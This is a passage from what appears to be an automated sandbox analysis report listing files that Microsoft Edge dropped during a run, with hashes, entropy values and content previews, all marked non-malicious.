sonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\f7eb5c84-18d8-48fb-97d5-cd027df9c86e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.6401415786958475
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7L:fwUQC5VwBIiElEd2K57P7L
MD5:	8574D972959B295FEA388493B825FDF1
SHA1:	388510DBD841625F1DFFC1347A4C41B8AF07B23C
SHA-256:	8520149C20006B78EBBDCD489C459D56B922C235102433F8D4C5A440ABA6E776
SHA-512:	E50D2B5D7ED6A634865875A570CA441CD6C3AA68ED181C4329E2BDE3AA06929DA02E4D1900691C88B3D7A501AB5223140969CCDE4C2B670F0937A2A75DFA763D
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-673CC431-1DF8.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04727288629161085
Encrypted:	false
SSDEEP:	192:JACpcr0pqtmKnOAQpYCuJPi6VBK/7+HfgHXjK8IrMEYTwgh81MNP+zRQcD/Odovs:6icr0ctNYud4jphHQVf8ov08T2RGOD
MD5:	2760072AE735F0F2B989EE7C97AB0623
SHA1:	540E79AB6C957A27949ECAE9BDECD5597A6CEBBF
SHA-256:	959E844333CD288989108C97DC4B3566B9172AF679C4D6031A444CBE56F96F6B
SHA-512:	5D6712A21DFFB62F6F93D2F6E626761DEF56DCA6AC40804BA92F3C6220443EB51FED9D00AE7A1D82EEE4481A2A4F2C6DEE1DBDA9882ADA1DB51D3A7A938CD602
Malicious:	false
Preview:	...@..@...@.....C.].....@...............xj..0Z..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".lhovde20,1(.0..8..B.......2.:.M....U....e...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............!......................w..U..G...W6.>.........."....."...24.."."h5wmA/c+VK/+HCTGwU1TrwNY52XBTo9O05htSkjnNRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...V.-../Q@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................. .`2.........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-673CC432-1668.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.45920379445335063
Encrypted:	false
SSDEEP:	3072:Js20QqSMelxw0Wtr2H94NPkcS54iCOGT+2ixlqxAfTsClHaPiQFg1HFc:dPqeJH94xkcSuDyxlqssClHaPiiaHS
MD5:	2829B0DECF55C6926635B7FC5B485469
SHA1:	4458E187DC03307197D164D7CA3FF54C544460B1
SHA-256:	CCEDAEDF2BDC5A5A07C975F44AA3380EA1C2126BBDD20735AE3B5CEBBDD2D7A9
SHA-512:	8CDAEE4E25BB0D3FAFFA11C7DACBA69902FF2AC76C17930C8092AD5712F15E560A7AF79E87CF630E3C43DDBE15A75393FC73D00BEADB835462A9A63E47DFDE68
Malicious:	false
Preview:	...@..@...@.....C.].....@...................X...............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".lhovde20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J...I.r.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............!......................w..U?:K...G...W6.>.........."....."...24.."."h5wmA/c+VK/+HCTGwU1TrwNY52XBTo9O05htSkjnNRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...V.-../Q@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.195531555605597
Encrypted:	false
SSDEEP:	3:FiWWltlMpKoKuNoDZbkDURSHxig5ABVP/Sh/JzvNKIUBUhX9USWXQPWllt:o1GVKCoD4Hxi2ABVsJDZYeulX+W/
MD5:	B43C738AB1422F16D60B4C4B49CC7DF2
SHA1:	98C07F5F5E4F25C2BC0B2B5E6A3A2245F7D18215
SHA-256:	C28208A8D5052C44515333D67BE35E9900BB0C1E68DECF8C8CDC8DB67DE51E4C
SHA-512:	07A58D40C283CBDB4063D1EF70EBDAFF8E84CB47F530B939FA25195F9652976CB3E439F315A18D732128E60B5F2856DC1CA42E814DE45F2301DC143A0D22798E
Malicious:	false
Preview:	sdPC.........................TJ.[Y....."h5wmA/c+VK/+HCTGwU1TrwNY52XBTo9O05htSkjnNRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................ecadf109-1d88-4bd2-8ebf-85346832b43e............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\0e88f0e6-4a58-4785-86a5-9e6c400adeab.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (17262), with no line terminators
Category:	dropped
Size (bytes):	17262
Entropy (8bit):	5.488925721074864
Encrypted:	false
SSDEEP:	384:stTPGQSu4bsl/XnALvGJWvDRuTFSbGnQwix7NIQ:sNOXux/kbGQZb
MD5:	98EBB33686B5A58FCBF21003BBD0C5F9
SHA1:	772664561A003EC921A9594213D9D3E2FFE010D9
SHA-256:	5DA3D151F8C3A356CA329586A531A2E4BBDD939503087E4D2084D77331F02124
SHA-512:	8748AAEC96A6E63F86F496BA82CF4558383A07B1202D11961323AB759F0D059A537F4AAE70616A1E7F29CEBAF67C948EBF4CC421304952D790E0B66E39487538
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376509235067826","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\101536e9-a4e8-4854-8db8-9bcaab2c5751.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40503
Entropy (8bit):	5.561505285907212
Encrypted:	false
SSDEEP:	768:+mw0qf7pLGLPQuWPKMfoZ8F1+UoAYDCx9Tuqh0VfUC9xbog/OVSbB683prwZY8ZD:+mw0qZcPQuWPKMfoZu1ja3bBV3aZY84+
MD5:	EC13BFE803A85918527482CD3F97436A
SHA1:	F709C29CF104F50B8CF3F4A4A2A43CE8D869D057
SHA-256:	FD043931322ED5AFA30E4198F2A94D7FC1C656918DFBE9B66947B2A1FA8D9C01
SHA-512:	B58B6A9FAAE199F6F59E5BB9033E0D9B3A56B6304917838CDB276E0DDAAA16A18CE4610BED04956E462EF9F0E2FE502F7D86C68B8450FB2FBE85ACB942CDA75A
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376509234535593","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376509234535593","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\3de8f4a7-5c70-4e0a-8265-262bce3cdf4c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (17427), with no line terminators
Category:	dropped
Size (bytes):	17427
Entropy (8bit):	5.485607178300069
Encrypted:	false
SSDEEP:	384:stTPGQSu4bsl/XnALvGJWvDRuTFSbGnQwisf7NIQ:sNOXux/kbGQsb
MD5:	37F41CF058BF6071E9D96413E59D2E75
SHA1:	7D6F81F2350622C858097CBADC9EF60FFE2994CB
SHA-256:	A25B9689ED8A29EDDC1453A8B115C10057D6CC700935F3AE1D947D059F216CA0
SHA-512:	3A5BFEFC44F266AA5F2A2120B5CB18A720410303A4AD3FF046061DBC6C3226093DBE87C434B420E0826DF9E73FEA05C962326416691156F2F40790E927BABE79
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376509235067826","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\48784ff9-bf83-4fa7-82d6-932bc07c258c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (17427), with no line terminators
Category:	dropped
Size (bytes):	17427
Entropy (8bit):	5.485603555110291
Encrypted:	false
SSDEEP:	384:stTPGQSu4bsl/XnALvGJWvDRuTFSbGnQwiUf7NIQ:sNOXux/kbGQ8b
MD5:	A76D8E8ECE9929C3436AEF125FBEB1B4
SHA1:	5C156DCDBA7A77E0F39E8B9B492EA9963F963D3A
SHA-256:	382452B6FB4A32D7D734C071FDA65C86AF96FC3E2EC11653184218E3182E574E
SHA-512:	443466B0983255494E9E59113984F53E99E9F51268927CE0BFF229658439FF22B7569827C448EA3A331EDC214AAA9C4523377ACBAFDEA4A429A8489919A341B3
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376509235067826","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\977098a5-3635-47d6-a52a-46dcd93e743f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	309
Entropy (8bit):	5.23959128284514
Encrypted:	false
SSDEEP:	6:HUwuID1CHhJ23oH+Tcwtp3hBtB2KLlVUwek4N9+q2PCHhJ23oH+Tcwtp3hBWsIF2:mIfYebp3dFLOavBYebp3eFUv
MD5:	440A3D66D455E6069BA4961E98171247
SHA1:	737F16C1D14D244746C931E75C609259CE6CD3E9
SHA-256:	310A8FF067FE748C63F55453AF4FD89F9A68D13BB8BB7F861787870275CF12EE
SHA-512:	BECDC1785A05CB0D78832F21B28837B52B299182CE5D689A9FD521CA99825A1A30C591841A62B2CAA7BC0D36DAA358380C2FAFFE3D469692E8D5E2378693DA8F
Malicious:	false
Preview:	2024/11/19-12:00:40.662 21e8 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/19-12:00:40.678 21e8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	1764710
Entropy (8bit):	5.138089887127208
Encrypted:	false
SSDEEP:	24576:hKPUfKfgXaHbMhFQlmADAbpENUdifYOBHbc2r:hKMfqJmcx
MD5:	1B340B3DA7CA849413C2A8B9B544C92B
SHA1:	2239944519F1474BBD66D8AB4E513B86C5A1BC7D
SHA-256:	1C0E68EB47EC4F9EDB205EBBEE0330456284778EB7E6A4B3C5744A89135FC3A5
SHA-512:	867FC8CDFB90FB8EC11B0C4D539DE3627F646DB78D90BDED76C22E985B88A9DEBA1E8CB339C065C2EE896B1327EC03CE98741CBC61B732D956ED2F9A7596D086
Malicious:	false
Preview:	...m.................DB_VERSION.1.Go..................QUERY_TIMESTAMP:arbitration_priority_list4...13340967444415546.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.081527614313537
Encrypted:	false
SSDEEP:	6:HUwEXtp1L+q2PCHhJ23oH+Tcwt9Eh1tIFUt8YUwERH3jKWZmw+YUws1LVkwOCHhZ:GX1L+vBYeb9Eh16FUt8N2W/+f1LV56Yf
MD5:	D238AE1D07FC8F66D04468FE7558CBA7
SHA1:	5285AEAD8B2DC67D7CEAD8BF72DB592A55C2EB9D
SHA-256:	918C1EEB6734C61C61FADB5A707F217FA3A1B454F5ED39614A10ECF53FC8DDB3
SHA-512:	F869C9AD38255CC42043358A66AF1ACD8BE500C15EDD8FB5255CB0545D19C3EFBDE829CC49EB100D42FA25A82E681D9EB935DF775FAB03ABD0CC3FDB91E58981
Malicious:	false
Preview:	2024/11/19-12:00:40.212 225c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/19-12:00:40.214 225c Recovering log #3.2024/11/19-12:00:40.223 225c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.081527614313537
Encrypted:	false
SSDEEP:	6:HUwEXtp1L+q2PCHhJ23oH+Tcwt9Eh1tIFUt8YUwERH3jKWZmw+YUws1LVkwOCHhZ:GX1L+vBYeb9Eh16FUt8N2W/+f1LV56Yf
MD5:	D238AE1D07FC8F66D04468FE7558CBA7
SHA1:	5285AEAD8B2DC67D7CEAD8BF72DB592A55C2EB9D
SHA-256:	918C1EEB6734C61C61FADB5A707F217FA3A1B454F5ED39614A10ECF53FC8DDB3
SHA-512:	F869C9AD38255CC42043358A66AF1ACD8BE500C15EDD8FB5255CB0545D19C3EFBDE829CC49EB100D42FA25A82E681D9EB935DF775FAB03ABD0CC3FDB91E58981
Malicious:	false
Preview:	2024/11/19-12:00:40.212 225c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/19-12:00:40.214 225c Recovering log #3.2024/11/19-12:00:40.223 225c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4627595517963983
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuu:TouQq3qh7z3bY2LNW9WMcUvBuu
MD5:	ED79DC120043FF475E153D4EADE52890
SHA1:	0EF6EAB3220B30409854C2100AB74FAEF6EDF798
SHA-256:	7E0B3FD9410600A5A01C2ACD4B4185CBB8A7808A1A99A2B483666BE6B93409BA
SHA-512:	3933078676062B24D4B6FDB1E5D72595516561248A2D9027873772977C482C004EB6DBB1D7BE7E78529B01300733C5CC2145DC61794E6B9172E97E98D6B42441
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	345
Entropy (8bit):	5.228182389728393
Encrypted:	false
SSDEEP:	6:HUwWns+q2PCHhJ23oH+TcwtnG2tMsIFUt8YUwWnsZmw+YUwWnsVkwOCHhJ23oH+V:unxvBYebn9GFUt8/ns/+/nM56Yebn95J
MD5:	622563DB5A2CDA6859E7EE2926AA9FB9
SHA1:	D70D011C01E8957C8D23A05E74FDFDF329E5A6A5
SHA-256:	8F79E389303895253A0A8567F8F613286A7E9DACA836DF7B87A4BF0F419379ED
SHA-512:	6CDE0409DA50A009296B81459FF47AC1F8534E4CB3F468A188D34F71703858EAB99430D1C7F91E14636F76645C12C258BCC74196E34CA4FBE7679AFB70C96302
Malicious:	false
